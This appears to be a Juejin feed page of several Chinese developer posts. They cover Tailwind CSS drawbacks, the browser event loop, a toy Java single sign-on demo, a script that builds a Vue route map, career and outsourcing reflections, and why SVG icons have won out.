作为一个老前端人比大家虚长几岁,前端技术的飞速发展,从早期的 jQuery 到现代的 React、Vue,再到 CSS 框架的演变。最近几年,Tailwind CSS 成为了前端圈的热门话题,很多人称它为“神器”,但也有不少人认为它是“神坑”。今天,我就从实际项目经验出发,吐槽一下 Tailwind CSS 的弊端。


HTML 代码臃肿,可读性差


例如:


<div class="p-4 bg-white rounded-lg shadow-md text-gray-800 hover:bg-gray-100">
Content
</div>

以至于前端同学前来吐槽,这和写style有个毛线区别。
虽然tailwind提供了@apply方法,将常用的实用类代码提取到css中,来减少html的代码量


.btn {
@apply p-4 bg-blue-500 text-white rounded-lg hover:bg-blue-600;
}

可以一个大型项目样式复杂,常常看到这样的场景:


.btn1 {
@apply p-4 bg-blue-500 text-white rounded-lg hover:bg-blue-600;
}
.btn2 {
@apply p-6 bg-blue-500 text-blue rounded-lg hover:bg-blue-600;
}
.btn3 {
@apply p-8 bg-blue-500 text-red rounded-lg hover:bg-blue-600;
}
.btn4 {
@apply p-10 bg-blue-500 rounded-lg hover:bg-green-600;
}

读起来都费劲。


增加了前端同学的学习成本


开发是必须学习大量的tailwind的实用类,并且要花时间学习这些命名规则,例如:



  • p-4 是 padding,m-4 是 margin。

  • text-sm 是小字体,text-lg 是大字体。

  • bg-blue-500 是背景色,text-blue-500 是文字颜色。


国内的项目大家都知道,不是在赶工期,就是在赶工期的路上,好多小伙伴开发的时候直接就上style了。


当然这样也有好处,能使用JIT模式,按需生成css,减少文件的大小。避免了以前项目中好多无用的css。


动态样式支持有限


有时候需要动态生成的类会导致错误,例如:


<div class="text-{{ color }}-500 bg-{{ bgColor }}-100">
Content
</div>

如果color被复制为green,但是系统并没有定义 text-green-500 这个类。让项目变得难以调试和维护。


总结


Tailwind CSS 是一把双刃剑,它既能为开发带来极大的便利,也可能成为项目的“神坑”。作为开发者,我们需要根据项目需求,合理使用 Tailwind,并通过一些最佳实践规避它的弊端。希望这篇文章能帮助你在项目中更好地使用 Tailwind CSS,享受它带来的便利,同时避免踩坑!


如果你有更多关于 Tailwind CSS 的问题或经验分享,欢迎在评论区留言讨论! 😊


作者:yaoganjili
来源:juejin.cn/post/7484638486994681890
收起阅读 »

🔄一张图,让你再也忘不了浏览器的事件循环(Event Loop)了

web
一、前言下面纯手工画了一张在浏览器执行JavaScript代码的Event Loop(事件循环) 流程图。后文会演示几个例子,把示例代码放到这个流程图演示其执行流程。当然,这只是简单的事件循环流程,不过,却能让我们快速掌握其原理。二、概念事件循环是J...
继续阅读 »

一、前言

下面纯手工画了一张在浏览器执行JavaScript代码的Event Loop(事件循环) 流程图。

后文会演示几个例子,把示例代码放到这个流程图演示其执行流程。

当然,这只是简单的事件循环流程,不过,却能让我们快速掌握其原理。

Event Loop.png

二、概念

事件循环JavaScript为了处理单线程执行代码时,能异步地处理用户交互、网络请求等任务 (异步Web API),而设计的一套任务调度机制。它就像一个永不停止的循环,不断地检查(结合上图就是不断检查Task QueueMicrotask Queue这两个队列)并需要运行的代码。


三、为什么需要事件循环

JavaScript是单线程的,这意味着它只有一个主线程来执行代码。如果所有任务(比如一个耗时的计算、一个网络请求)都同步执行,那么浏览器就会被卡住,无法响应用户的点击、输入,直到这个任务完成。这会造成极差的用户体验。

事件循环就是为了解决这个问题而生的:它让耗时的操作(如网络请求、文件读取)在后台异步执行,等这些操作完成后,再通过回调的方式来执行相应的代码,从而不阻塞主线程

四、事件循环流程图用法演示

演示一:小菜一碟

先来一个都是同步代码的小菜,先了解一下前面画的流程图是怎样在调用栈当中执行JavaScript代码的。

console.log(1)

function funcOne() {
console.log(2)
}

function funcTwo() {
funcOne()
console.log(3)
}

funcTwo()

console.log(4)

控制台输出:

1 2 3 4

下图为调用栈执行流程

演示01.png

每执行完一个同步任务会把该任务进行出栈。在这个例子当中每次在控制台输出一次,则进行一次出栈处理,直至全部代码执行完成。

演示二:小试牛刀

setTimeout+Promise组合拳,了解异步代码是如何进入任务队列等待执行的。

console.log(1)

setTimeout(() => {
console.log('setTimeout', 2)
}, 0)

const promise = new Promise((resolve, reject) => {
console.log('promise', 3)
resolve(4)
})

setTimeout(() => {
console.log('setTimeout', 5)
}, 10)

promise.then(res => {
console.log('then', res)
})

console.log(6)

控制台输出:

1 promise 3 6 then 4 setTimeout 2 setTimeout 5

流程图执行-步骤一:

先执行同步代码,如遇到异步代码,则把异步回调事件放到后台监听对应的任务队列

image.png

  1. 执行console.log(1),控制台输出1
  2. 执行定时器,遇到异步代码,后台注册定时器回调事件,时间到了,把回调函数() => {console.log('setTimeout', 2)},放到宏任务队列等待。
  3. 执行创建Promise实例,并执行其中同步代码:执行console.log('promise', 3),控制台输出promise 3;执行resolve(4),此时Promise已经确定为完成fulfilled状态,把promise.then()的回调函数响应值设为4
  4. 执行定时器,遇到异步代码,后台注册定时器回调事件,时间未到,把回调函数() => { console.log('setTimeout', 5) }放到后台监听。
  5. 执行promise.then(res => { console.log('then', res) }),出栈走异步代码,把回调函数4 => { console.log('then', 4) }放入微任务队列等待。

流程图执行-步骤二:

上面已经把同步代码执行完成,并且把对应异步回调事件放到了指定任务队列,接下来开始事件循环

image.png

  1. 扫描微任务队列,执行4 => { console.log('then', 4) }回调函数,控制台输出then 4
  2. 微任务队列为空,扫描宏任务队列,执行() => {console.log('setTimeout', 2)}回调函数,控制台输出setTimeout 2
  3. 每执行完一个宏任务,需要再次扫描微任务队列是否存在可执行任务(假设此时后台定时到了,则会把() => { console.log('setTimeout', 5) }加入到了宏任务队列末尾)。
  4. 微任务队列为空,扫描宏任务队列,执行() => { console.log('setTimeout', 5) },控制台输出setTimeout 5

演示三:稍有难度

setTimeout+Promise组合拳+多层嵌套Promise

console.log(1)

setTimeout(() => {
console.log('setTimeout', 10)
}, 0)

new Promise((resolve, reject) => {
console.log(2)
resolve(7)

new Promise((resolve, reject) => {
resolve(5)
}).then(res => {
console.log(res)

new Promise((resolve, reject) => {
resolve('嵌套第三层 Promise')
}).then(res => {
console.log(res)
})
})

Promise.resolve(6).then(res => {
console.log(res)
})

}).then(res => {
console.log(res)
})

new Promise((resolve, reject) => {
console.log(3)

Promise.resolve(8).then(res => {
console.log(res)
})

resolve(9)
}).then(res => {
console.log(res)
})

console.log(4)

上一个演示说明了流程图执行的详细步骤,下面就不多加赘叙了,直接看图!

talk is cheap, show me the chart

image.png

上图,调用栈同步代码执行完成,开始事件循环,先看微任务队列,发现不为空,按顺序执行微任务事件:

嵌套02.png

上图,已经把刚才排队的微任务队列全部清空了。但是在执行第一个微任务时,发现还有嵌套微任务,则把该任务放到微任务队列末尾,然后接着一起执行完所有新增任务

嵌套03.png

最后微任务清空后,接着执行宏任务。到此全部事件已执行完毕!

控制台完整输出顺序:

1 2 3 4 5 6 7 8 9 10

演示四:setTimeout伪定时

setTimeout并不是设置的定时到了就马上执行,而是把定时回调放在task queue任务队列当中进行等待,待主线程调用栈中的同步任务执行完成后空闲时才会执行。

const startTime = Date.now()
setTimeout(() => {
const endTime = Date.now()
console.log('setTimeout cost time', endTime - startTime)
// setTimeout cost time 2314
}, 100)

for (let i = 0; i < 300000; i++) {
// 模拟执行耗时同步任务
console.log(i)
}

控制台输出:

1 2 3 ··· 300000 setTimeout cost time 2314

下图演示了其执行流程:

setTimeout假延时.png

演示五:fetch网络请求和setTimeout

获取网络数据,fetch回调函数属于微任务,优于setTimeout先执行。

setTimeout(() => {
console.log('setTimeout', 2)
}, 510)

const startTime = Date.now()
fetch('http://localhost:3000/test').then(res => {
const endTime = Date.now()
console.log('fetch cost time', endTime - startTime)
return res.json()
}).then(data => {
console.log('data', data)
})

下图当前Call Stack执行栈执行完同步代码后,由于fetchsetTimeout都是宏任务,所以走宏任务Web API流程后注册这两个事件回调,等待定时到后了,由于定时回调是个普通的同步函数,所以放到宏任务队列;等待fetch拿到服务器响应数据后,由于fetch回调为一个Promise对象,所以放到微任务队列。

fetch.png

经过多番刷新网页测试,下图控制台打印展示了setTimeout延时为510msfetch请求响应同样是510ms的情况下,.then(data => { console.log('data', data) })先执行了,也是由于fetch基于Promise实现,所以其回调为微任务。

b475cbb38b0161d3e7f5f97b45824b31.png

五、结语

这可能只是简单的JavaScript代码执行事件循环流程,目的也是让大家更直观理解其中原理。实际执行过程可能还会读取堆内存获取引用类型数据、操作dom的方法,可能还会触发页面的重排、重绘等过程、异步文件读取和写入操作、fetch发起网络请求,与服务器建立连接获取网络数据等情况。

但是,它们异步执行的回调函数都会经过图中的这个事件循环过程,从而构成完整的浏览器事件循环。


作者:vilan_微澜
来源:juejin.cn/post/7577395040592756746

收起阅读 »

单点登录:一次登录,全网通行

大家好,我是小悟。 想象一下你去游乐园,买了一张通票(登录),然后就可以玩所有项目(访问各个系统),不用每个项目都重新买票(重新登录)。这就是单点登录(SSO)的精髓! SSO的日常比喻 普通登录:像去不同商场,每个都要查会员卡 单点登录:像微信扫码登录,...
继续阅读 »

大家好,我是小悟。



  • 想象一下你去游乐园,买了一张通票(登录),然后就可以玩所有项目(访问各个系统),不用每个项目都重新买票(重新登录)。这就是单点登录(SSO)的精髓!


    SSO的日常比喻



    • 普通登录:像去不同商场,每个都要查会员卡

    • 单点登录:像微信扫码登录,一扫全搞定

    • 令牌:像游乐园手环,戴着就能证明你买过票


    下面用代码来实现这个"游乐园通票系统":


    代码实现:简易SSO系统


    import java.util.*;

    // 用户类 - 就是我们这些想玩项目的游客
    class User {
    private String username;
    private String password;

    public User(String username, String password) {
    this.username = username;
    this.password = password;
    }

    // getters 省略...
    }

    // 令牌类 - 游乐园手环
    class Token {
    private String tokenId;
    private String username;
    private Date expireTime;

    public Token(String username) {
    this.tokenId = UUID.randomUUID().toString();
    this.username = username;
    // 令牌1小时后过期 - 游乐园晚上要关门的!
    this.expireTime = new Date(System.currentTimeMillis() + 3600 * 1000);
    }

    public boolean isValid() {
    return new Date().before(expireTime);
    }

    // getters 省略...
    }

    // SSO认证中心 - 游乐园售票处
    class SSOAuthCenter {
    private Map<String, Token> validTokens = new HashMap<>();
    private Map<String, User> users = new HashMap<>();

    public SSOAuthCenter() {
    // 预先注册几个用户 - 办了年卡的游客
    users.put("zhangsan", new User("zhangsan", "123456"));
    users.put("lisi", new User("lisi", "abcdef"));
    }

    // 登录 - 买票入场
    public String login(String username, String password) {
    User user = users.get(username);
    if (user != null && user.getPassword().equals(password)) {
    Token token = new Token(username);
    validTokens.put(token.getTokenId(), token);
    System.out.println(username + " 登录成功!拿到游乐园手环:" + token.getTokenId());
    return token.getTokenId();
    }
    System.out.println("用户名或密码错误!请重新买票!");
    return null;
    }

    // 验证令牌 - 检查手环是否有效
    public boolean validateToken(String tokenId) {
    Token token = validTokens.get(tokenId);
    if (token != null && token.isValid()) {
    System.out.println("手环有效,欢迎继续玩耍!");
    return true;
    }
    System.out.println("手环无效或已过期,请重新登录!");
    validTokens.remove(tokenId); // 清理过期令牌
    return false;
    }

    // 登出 - 离开游乐园
    public void logout(String tokenId) {
    validTokens.remove(tokenId);
    System.out.println("已登出,欢迎下次再来玩!");
    }
    }

    // 业务系统A - 过山车
    class SystemA {
    private SSOAuthCenter authCenter;

    public SystemA(SSOAuthCenter authCenter) {
    this.authCenter = authCenter;
    }

    public void accessSystem(String tokenId) {
    System.out.println("=== 欢迎来到过山车 ===");
    if (authCenter.validateToken(tokenId)) {
    System.out.println("过山车启动!尖叫声在哪里!");
    } else {
    System.out.println("请先登录再玩过山车!");
    }
    }
    }

    // 业务系统B - 旋转木马
    class SystemB {
    private SSOAuthCenter authCenter;

    public SystemB(SSOAuthCenter authCenter) {
    this.authCenter = authCenter;
    }

    public void accessSystem(String tokenId) {
    System.out.println("=== 欢迎来到旋转木马 ===");
    if (authCenter.validateToken(tokenId)) {
    System.out.println("木马转起来啦!找回童年记忆!");
    } else {
    System.out.println("请先登录再玩旋转木马!");
    }
    }
    }

    // 测试我们的SSO系统
    public class SSODemo {
    public static void main(String[] args) {
    // 创建认证中心 - 游乐园大门
    SSOAuthCenter authCenter = new SSOAuthCenter();

    // 张三登录
    String token = authCenter.login("zhangsan", "123456");

    if (token != null) {
    // 拿着同一个令牌玩不同项目
    SystemA systemA = new SystemA(authCenter);
    SystemB systemB = new SystemB(authCenter);

    systemA.accessSystem(token); // 玩过山车
    systemB.accessSystem(token); // 玩旋转木马

    // 登出
    authCenter.logout(token);

    // 再尝试访问 - 应该被拒绝
    systemA.accessSystem(token);
    }

    // 测试错误密码
    authCenter.login("lisi", "wrongpassword");
    }
    }

    运行结果示例:


    zhangsan 登录成功!拿到游乐园手环:a1b2c3d4-e5f6-7890-abcd-ef1234567890
    === 欢迎来到过山车 ===
    手环有效,欢迎继续玩耍!
    过山车启动!尖叫声在哪里!
    === 欢迎来到旋转木马 ===
    手环有效,欢迎继续玩耍!
    木马转起来啦!找回童年记忆!
    已登出,欢迎下次再来玩!
    === 欢迎来到过山车 ===
    手环无效或已过期,请重新登录!
    请先登录再玩过山车!
    用户名或密码错误!请重新买票!

    总结一下:


    单点登录就像:



    • 一次认证,处处通行 🎫

    • 不用重复输入密码 🔑

    • 安全又方便 👍


    好的SSO系统就像好的游乐园管理,既要让游客玩得开心,又要确保安全!



单点登录:一次登录,全网通行.png


谢谢你看我的文章,既然看到这里了,如果觉得不错,随手点个赞、转发、在看三连吧,感谢感谢。那我们,下次再见。


您的一键三连,是我更新的最大动力,谢谢


山水有相逢,来日皆可期,谢谢阅读,我们再会


我手中的金箍棒,上能通天,下能探海


作者:悟空码字
来源:juejin.cn/post/7577599015426228259
收起阅读 »

别让认知天花板,变成你的职业终点——技术人如何走出信息茧房

我们都活在自己编织的真相里吗? 最近参加了两位前端同事的转正答辩。他们的总结都很真诚,也很努力,但两人之间那种微妙的认知落差,却让我久久不能平静。 第一位同事踏实勤恳,技术中规中矩,对自己的评价也相对保守。他清楚自己的短板,也知道自己需要提升,但他把改变的希...
继续阅读 »

我们都活在自己编织的真相里吗?



最近参加了两位前端同事的转正答辩。他们的总结都很真诚,也很努力,但两人之间那种微妙的认知落差,却让我久久不能平静。


第一位同事踏实勤恳,技术中规中矩,对自己的评价也相对保守。他清楚自己的短板,也知道自己需要提升,但他把改变的希望寄托在别人身上——希望有人来指导他、推动他。可实际上,他并没有拿出具体的行动或方案。没有外力,他似乎就只能停在原地。看着他,我忽然想起几年前的自己:是不是也曾这样,一边焦虑,一边等待别人来拯救?


第二位同事则完全不同。他自信满满,言谈间流露出对自身能力的高度认可,甚至认为自己已经达到了“高级工程师”的水平。他在团队协作、沟通表达上也自认表现优异,列举了不少“高光时刻”。但当我站在更高的视角去看这些“成果”时,却感到一种强烈的错位——他的“高级”,建立在一个极其有限的认知框架之上。


他对跨团队协作的理解,停留在“配合顺畅”;对技术深度的衡量,止步于“功能能跑”。他看不到系统设计中的耦合隐患,意识不到架构演进背后的权衡逻辑,更缺乏对业务本质的追问。


那一刻我突然明白:一个人最深的局限,往往不是能力不足,而是根本不知道自己不知道


而更令人警觉的是,这种认知盲区,并非个例。它像一层透明的茧,包裹着我们每一个人。我们常称之为“信息茧房”,但或许更准确的说法是:认知茧房




被这个时代悄悄做局了



我们生活在一个信息爆炸的时代,但获取信息的方式,却被前所未有地“驯化”了。


算法精准推送你喜欢的内容,社交圈层不断强化你已有的观点,搜索引擎只呈现你愿意相信的答案。你读的每一篇文章、看的每一段视频、加入的每一个群聊,都在悄悄加固这层茧。


久而久之,我们开始相信:



  • 我看到的就是真实的世界;

  • 我认同的就是正确的道理;

  • 我周围人的共识就是普世的价值。


于是,偏执悄然滋生。我们变得难以倾听异见,习惯性地把不同声音归为“愚蠢”或“别有用心”。沟通不再是交换思想,而成了立场的对抗。我们活在由自己偏好构建的“回音室”里,每一次回响都让我们更加确信:我没错,错的是世界


那位自认“高级”的同事,问题不在技术本身,而在于他无法感知更高维度的存在。他没见过真正的系统复杂性,没经历过技术债务的反噬,也没体会过从0到1推动变革的艰难。他的“高级”,只是井底之蛙眼中的天空。




偏听则暗,兼听则明



信息茧房最危险的地方,在于它让人变得偏执。偏执的人很难沟通,再加上“傻子共振效应”(相似认知的人互相强化),整个世界的理解就越来越狭隘。


在这个被算法投喂的时代,你看到的,都是你想看的;你喜欢的,也被不断推给你。这不断强化你的认知,形成你的价值观,同时也压缩了你的视野、削弱了你的思辨能力,最终让你陷入一个自我闭环的逻辑牢笼


你开始以为自己了解世界的运作原理,甚至以为自己看清了本质。但最致命的是——你不觉得自己被局限了


我不禁反思:

我知道的,是不是错的?

我是不是也在自我麻痹?

我是不是一只井底之蛙,而我身边的人,也都是井底之蛙?我们彼此认同,形成联盟,却浑然不觉自己被困在同一个井里。


更可怕的是,这种“共识”会让我们坚信:我们不在茧房里。




睁眼看世界,看到的未必是真实


你看到的世界,可能是别人想让你看到的,也可能是你自己想让自己看到的。你可能并不知道真实的世界是什么样,但你以为你知道


如今的大数据和智能推荐,正不断按照你的喜好,一层层加固你的信息茧房。人类的惰性,又被海量信息投喂成“奶头乐”——不加思考,被动消费,逐渐沦为信息时代的消费品。


当然,我写下这些,也可能带着某种激进甚至偏激。但正因如此,才更要停下来问一问:

我是否也陷在这样的焦油坑里?


我是不是也自以为是、固步自封?

是不是只听自己想听的,只信自己愿意信的?

是不是被网络言论洗脑,被算法圈套套牢?


我常常做一些自以为不错的事,但别人可能完全不会那样做。这提醒我:我的“正确”,未必是世界的尺度


不要被无意义的信息重塑价值观。真正的出路,必须从内在出发。




认知决定你能活出怎样的人生



我们常说:“人赚不到认知以外的钱。”其实这句话可以更广义地理解为:人活不出认知以外的人生


你的决策、判断、人际关系、职业发展,甚至对幸福的定义,都被你当下的认知边界框定。如果你的认知是扁平的、片面的、情绪化的,那么无论多努力,你也只能在同一个维度里打转。


要破局,第一步是承认自己被困住了

这不是自我否定,而是一种清醒的自知。真正的成长,始于一个简单的念头:

“这样是不是太受限了?”


这个念头,就是打破茧房的第一道裂痕。




如何让裂痕扩大,直至破茧?



主动“反向输入”:让异见成为养分

不要只读你认同的书,只听你支持的声音。刻意去接触那些让你不适的观点:



  • 读一本政治立场与你对立的作者写的书;

  • 看一部挑战你价值观的纪录片;

  • 和一个你平时不会交往的人深入聊一次天。


重点不是说服对方,而是理解:他为什么这么想?


拓展“认知半径”:走出同类人的圈子

你周围的人,往往和你有相似的背景、价值观和信息来源。这种“同温层”会不断强化你的既有认知。试着去接触:



  • 不同行业的人(比如医生、教师、手艺人);

  • 不同年龄段的人(年轻人的焦虑,老人的智慧);

  • 不同文化背景的人(你会发现,很多你视为“理所当然”的事,在别处根本不存在)。


成年后,我们的圈子越来越小,思维越来越固化。这时候,更需要主动打破圈层的束缚。


3保持“空杯心态”:允许自己被推翻

最可怕的不是无知,而是以为自己知道。定期问自己:



  • 我三年前相信什么?现在还信吗?

  • 如果我现在的观点是错的,世界会是什么样子?

  • 有没有可能,我引以为傲的“成就”,其实只是低水平的重复?


这种自我质疑,不是自我贬低,而是一种精神上的“排毒”。




站在更高的维度看问题


当我开始带团队后,才发现下属的问题会暴露无遗。这也反过来提醒我:站得更高,才能看得更清


或许我们永远无法抵达“全知”的境界,但至少可以仰望星空。


写到这里,我也在警惕:

这会不会是另一种“认知优越感”?

我是否也在用“破茧”的叙事,构建一个新的茧?


很可能。

但关键不在于是否彻底摆脱茧房——那几乎不可能——而在于是否保有觉察和挣扎的意愿


我们无法看到全貌,但可以努力多转几个角度;

我们无法摆脱偏见,但可以学会与之共处并保持警惕;

我们可能永远都是井底之蛙,但至少可以抬头,看看那圈之外,是否还有星光。


或许,我们永远无法完全摆脱茧房



这个世界越来越复杂,而我们的认知工具却未必同步进化。

算法在固化我们,信息在淹没我们,社交在同化我们。


但人之所以为人,正是因为我们有反思的能力,有超越当下的渴望


不必追求绝对的“正确”,也不必幻想彻底的“觉醒”。

只需在每一个自以为是的瞬间,轻轻问一句:


“我是不是,又忘了抬头?”


认知的破局,不在远方,就在此刻的怀疑与开放之中


作者:uzong
来源:juejin.cn/post/7580592190020517922
收起阅读 »

老板:能不能别手动复制路由了?我:写个脚本自动扫描

web
起因 周五快下班,老板过来看权限配置页面。 "这个每次都要手动输路径?" "对,现在是这样。"我打开给他看: 角色:运营专员 路由路径:[手动输入] /user/list 组件路径:[手动输入] @/views/user/List.vue "上次运营配错了,...
继续阅读 »

起因


周五快下班,老板过来看权限配置页面。


"这个每次都要手动输路径?"


"对,现在是这样。"我打开给他看:


角色:运营专员
路由路径:[手动输入] /user/list
组件路径:[手动输入] @/views/user/List.vue

"上次运营配错了,/user/list 写成 /user/lists,页面打不开找了半天。能不能做个下拉框,直接选?"


我想了想:"可以,但得先有个页面列表。"


"那就搞一个,现在页面这么多,手动输容易出错。"


确实,项目现在几十个页面,每次配置权限都要翻代码找路径,复制粘贴,还担心复制错。


解决办法


周末琢磨了一下,其实就是缺个"页面清单"。views 目录下都是页面文件,扫描一遍不就有了?


写了个 Node 脚本,自动扫描 views 目录,生成路由映射表。配置权限的时候下拉框选,还能搜索。


实现


两步:扫描文件 + 生成映射。


扫描 .vue 文件


function getAllVueFiles(dir, filesList = []) {
const files = fs.readdirSync(dir);

files.forEach((file) => {
const filePath = path.join(dir, file);

if (fs.statSync(filePath).isDirectory()) {
getAllVueFiles(filePath, filesList); // 递归子目录
} else if (file.endsWith(".vue")) {
filesList.push(filePath); // 收集 .vue 文件
}
});

return filesList;
}

生成映射文件


function start() {
const viewsDir = path.resolve(__dirname, "../views");
let files = getAllVueFiles(viewsDir);

// 兼容 Windows 路径
files = files.map(item => item.replace(/\\/g, "/"));

// 拼接成 import 映射
let str = "";
files.forEach(item => {
let n = item.replace(/.*src\//, "@/");
str += `"${n}":()=>import("${n}"),\r\n`;
});

// 写入文件
fs.writeFileSync(
path.resolve(__dirname, "../router/all.router.js"),
`export const ROUTERSDATA = {\n${str}}`
);
}

最后生成的文件大概是这样:


// src/router/all.router.js
export const ROUTERSDATA = {
"@/views/Home.vue": () => import("@/views/Home.vue"),
"@/views/About.vue": () => import("@/views/About.vue"),
"@/views/user/List.vue": () => import("@/views/user/List.vue"),
}

怎么用


权限配置页面


<template>
<el-select
v-model="selectedRoute"
filterable
placeholder="搜索并选择页面">
<el-option
v-for="(component, path) in ROUTERSDATA"
:key="path"
:label="path"
:value="path">
{{ path }}
</el-option>
</el-select>
</template>

<script setup>
import { ROUTERSDATA } from '@/router/all.router.js'

// 后台返回的权限路由配置
const permissionRoutes = [
{ path: '/user/list', component: '@/views/user/List.vue' },
{ path: '/order/list', component: '@/views/order/List.vue' }
]

// 直接从映射表取组件
const routes = permissionRoutes.map(route => ({
path: route.path,
component: ROUTERSDATA[route.component] // 这里直接用
}))
</script>

好处:



  • 下拉框自动包含所有页面

  • 支持搜索,输入 "user" 就能找到所有用户相关页面

  • 新加页面自动出现在列表里


动态路由


后台返回权限配置,前端从映射表取组件:


function generateRoutes(backendConfig) {
return backendConfig.map(item => ({
path: item.path,
component: ROUTERSDATA[item.component] // 直接用
}))
}

效果


周一把代码提上去,改了权限配置页面:


image.png


<!-- 配置页面 -->
<el-select v-model="route" filterable placeholder="搜索页面">
<el-option
v-for="(component, path) in ROUTERSDATA"
:key="path"
:label="path"
:value="path" />
</el-select>

老板过来试了一下,在下拉框输入 "user" 就搜到所有用户相关页面。


"嗯,这个好用。新加页面也会自动出现在这里吧?"


"对,每次启动项目会自动扫描。"


"行,那就这样。"


后来发现还有些意外收获:



  • 新人看这个映射表就知道项目有哪些页面

  • 后台只存路径字符串,数据库干净

  • 顺带解决了手动 import 几十个路由的问题


package.json 加个脚本:


{
"scripts": {
"dev": "node src/start/index.js && vite"
}
}

每次 npm run dev 会先扫描 views 目录,生成最新的映射表。


完整代码


// src/start/index.js
const fs = require("fs");
const path = require("path");

function getAllVueFiles(dir, filesList = []) {
const files = fs.readdirSync(dir);

files.forEach((file) => {
const filePath = path.join(dir, file);
const stat = fs.statSync(filePath);

if (stat.isDirectory()) {
getAllVueFiles(filePath, filesList);
} else if (file.endsWith(".vue")) {
filesList.push(filePath);
}
});

return filesList;
}

function start() {
console.log("[自动获取全部可显示页面]");

const viewsDir = path.resolve(__dirname, "../views");
let files = getAllVueFiles(viewsDir);

// 统一路径分隔符,兼容 Windows 反斜杠
files = files.map((item) => item.replace(/\\/g, "/"));

let str = "";
// 构造 import 映射:"@/views/xxx.vue": ()=>import("@/views/xxx.vue")
files.forEach((item) => {
let n = item.replace(/.*src\//, "@/");
str += `"${n}":()=>import("${n}"),\r\n`;
});

const routerFilePath = path.resolve(__dirname, "../router/all.router.js");
// 将映射写入路由聚合文件,供路由动态引用
fs.writeFileSync(
routerFilePath,
`
export const ROUTERSDATA = {
${str}
}`
,
);
console.log("[./src/router/all.router.js 写入]");
}

start();

注意事项


记得把生成的 src/router/all.router.js 加到 .gitignore,毕竟是自动生成的文件,没必要提交。


# .gitignore
src/router/all.router.js

后来


用了一个多月,运营配置权限再也没出过错。上周老板说:"这个功能不错,其他项目也加上。"


代码其实挺简单的,但确实解决了问题。


作者:码是生活
来源:juejin.cn/post/7582808491583504420
收起阅读 »

进入外包,我犯了所有程序员都会犯的错!

前言 前些天有位小伙伴和我吐槽他在外包工作的经历,语气颇为激动又带着深深的无奈。 本篇以他的视角,进入他的世界,看看这一段短暂而平凡的经历。 1. 上岸折戟尘沙 本人男,安徽马鞍山人士,21年毕业于江苏某末流211,在校期间转码。 上网课期间就向往大城市,...
继续阅读 »

前言


前些天有位小伙伴和我吐槽他在外包工作的经历,语气颇为激动又带着深深的无奈。



image.png


本篇以他的视角,进入他的世界,看看这一段短暂而平凡的经历。


1. 上岸折戟尘沙


本人男,安徽马鞍山人士,21年毕业于江苏某末流211,在校期间转码。

上网课期间就向往大城市,于是毕业后去了深圳,找到了一家中等IT公司(人数500+)搬砖,住着宝安城中村,来往繁华南山区。

待了三年多,自知买房变深户无望,没有归属感,感觉自己也没那么热爱技术,于是乎想回老家考公务员,希望待在宇宙的尽头。

24年末,匆忙备考,平时工作忙里偷闲刷题,不出所料,笔试卒,梦碎。


2. 误入外包


复盘了备考过程,觉得工作占用时间过多,想要找一份轻松点且离家近的工作,刚好公司也有大礼包的指标,于是主动申请,辞别深圳,前往徽京。

Boss上南京的软件大部分是外包(果然是外包之都),前几年外包还很活跃,这些年外包都沉寂了不少,找了好几个月,断断续续有几个邀约,最后实在没得选了,想着反正就过渡一下挣点钱不寒碜,接受了外包,作为WX服务某为。薪资比在深圳降了一些,在接受的范围内。


想着至少苟着等待下一次考公,因此前期做项目比较认真,遇到问题追根究底,为解决问题也主动加班加点,同为WX的同事都笑话我说比自有员工还卷,我却付之一笑。


直到我经历了几件事,正所谓人教人教不会,事教人一教就会。


3. 我在外包的二三事


有一次,我提出了自有员工设计方案的衍生出的一个问题,并提出拉个会讨论一下,他并没有当场答应,而是回复说:我们内部看看。

而后某天我突然被邀请进入会议,聊了几句,意犹未尽之际,突然就被踢出会议...开始还以为是某位同事误触按钮,然后再申请入会也没响应。

后来我才知道,他们内部商量核心方案,因为权限管控问题,我不能参会。

这是我第一次体会到WX和自有员工身份上的隔阂。


还有一次和自有员工一起吃饭的时候,他不小心说漏嘴了他的公积金,我默默推算了一下他的工资至少比我高了50%,而他的毕业院校、工作经验和我差不多,瞬间不平衡了。


还有诸如其它的团建、夜宵、办公权限、工牌等无一不是明示着你是外包员工,要在外包的规则内行事。
至于转正的事,头上还有OD呢,OD转正的几率都很低,好几座大山要爬呢,别想了。


3. 反求诸己


以前网上看到很多吐槽外包的帖子,还总觉得言过其实,亲身经历了才刻骨铭心。

我现在已经摆正了心态,既来之则安之。正视自己WX的身份,给多少钱干多少活,给多少权利就承担多少义务。

不攀比,不讨好,不较真,不内耗,不加班。

另外每次当面讨论的时候,我都会把工牌给露出来,潜台词就是:快看,我就是个外包,别为难我😔~


另外我现在比较担心的是:



万一我考公还是失败,继续找工作的话,这段外包经历会不会是我简历的污点😢



当然这可能是我个人感受,其它外包的体验我不知道,也不想再去体验了。

对,这辈子和下辈子都不想了。
附南京外包之光,想去或者不想去的伙伴可以留意一下:



image.png


作者:小鱼人爱编程
来源:juejin.cn/post/7511582195447824438
收起阅读 »

为什么 SVG 能在现代前端中胜出?

web
如果你关注前端图标的发展,会发现一个现象: 过去前端图标主要有三种方案: PNG 小图(配合雪碧图) Iconfont SVG 到了今天,大部分中大型项目都把图标系统全面迁移到 SVG。 无论 React/Vue 项目、新框架(Next/Remix/Nux...
继续阅读 »

如果你关注前端图标的发展,会发现一个现象:


过去前端图标主要有三种方案:



  • PNG 小图(配合雪碧图)

  • Iconfont

  • SVG


到了今天,大部分中大型项目都把图标系统全面迁移到 SVG。

无论 React/Vue 项目、新框架(Next/Remix/Nuxt),还是大厂的设计规范(Ant Design、Material、Carbon),基本都默认 SVG。


为什么是 SVG 胜出?

为什么不是 Iconfont、不是独立 PNG、不是雪碧图?

答案不是一句“清晰不失真”这么简单。


下面从前端实际开发的角度,把 SVG 胜出的原因讲透。




一、SVG 为什么比位图(PNG/JPG)更强?


矢量图永不失真(核心优势)


PNG/JPG 是位图,只能按像素存图。

移动端倍率屏越来越高(2x、3x、4x……),一张 24px 的 PNG 在 iPhone 高分屏里可能看起来糊成一团。


SVG 是矢量图,数学计算绘制:



  • 任意缩放不糊

  • 任意清晰度场景都不怕

  • 深色模式也不会变形


这点直接解决了前端图标领域长期存在的一个痛点:适配成本太高




体积小、多级复用不浪费


同样一个图标:



  • PNG 做 1x/2x/3x 需要三份资源

  • SVG 只要一份


而且:



  • SVG 本质是文本

  • gzip 压缩非常有效


在 CDN 下,通常能压到个位数 KB,轻松复用。




图标换色非常容易


PNG 改颜色很麻烦:



  • 设计师改

  • 重新导出

  • 重新上传/构建


Iconfont 的颜色只能统一,只能覆盖轮廓颜色,多色很麻烦。


SVG 则非常灵活:


.icon {
fill: currentColor;
}

